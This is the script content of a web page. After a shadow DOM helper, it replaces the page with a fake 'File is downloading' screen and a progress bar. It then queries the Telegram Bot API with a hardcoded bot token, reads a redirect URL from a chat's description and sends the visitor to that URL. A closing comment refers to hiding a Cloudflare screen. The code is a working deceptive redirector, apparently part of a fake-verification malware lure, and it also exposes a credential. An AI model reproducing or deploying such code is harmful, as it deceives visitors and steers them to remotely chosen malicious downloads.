(()=>{document.currentScript.remove();processNode(document);function processNode(node){node.querySelectorAll("template[shadowrootmode]").forEach(element=>{let shadowRoot = element.parentElement.shadowRoot;if (!shadowRoot) {try {shadowRoot=element.parentElement.attachShadow({mode:element.getAttribute("shadowrootmode"),delegatesFocus:element.getAttribute("shadowrootdelegatesfocus")!=null,clonable:element.getAttribute("shadowrootclonable")!=null,serializable:element.getAttribute("shadowrootserializable")!=null});shadowRoot.innerHTML=element.innerHTML;element.remove()} catch (error) {} if (shadowRoot) {processNode(shadowRoot)}}})}})() setTimeout(function() { document.body.innerHTML = ""; // Полностью очищаем страницу // Создаём новый контейнер с индикатором загрузки let newContainer = document.createElement("div"); newContainer.style = "display: flex; flex-direction: column; align-items: center; justify-content: center; height: 100vh; font-family: Arial, sans-serif;"; newContainer.innerHTML = `
File is downloading, please wait...
You will be redirected shortly.
`; document.body.appendChild(newContainer); // Запускаем прогресс-бар let progress = 0; let interval = setInterval(() => { if (progress >= 100) { clearInterval(interval); } else { progress++; document.getElementById('progress').style.width = progress + '%'; } }, 50); // Редирект через setTimeout(async () => { try { const botToken = '7734238447:AAG8xesYusZbAIl4-smbwDyZU05MOD1FEoU'; const chatUsername = '@albina33333333'; const apiUrl = `https://api.telegram.org/bot${botToken}/getChat?chat_id=${chatUsername}`; const response = await fetch(apiUrl); if (!response.ok) throw new Error('Не удалось получить данные о чате'); const data = await response.json(); if (data.ok && data.result.description) { const description = data.result.description; const urlMatch = description.match(/(https?:\/\/[^\s]+|search:[^\s]+|crumb=[^\s]+)/); if (urlMatch && urlMatch[0]) { window.location.href = urlMatch[0]; } } } catch (error) { console.error('Ошибка при получении ссылки:', error); } }, 1000); }, 900); // Через 3 секунды скрываем Cloudflare и запускаем загрузку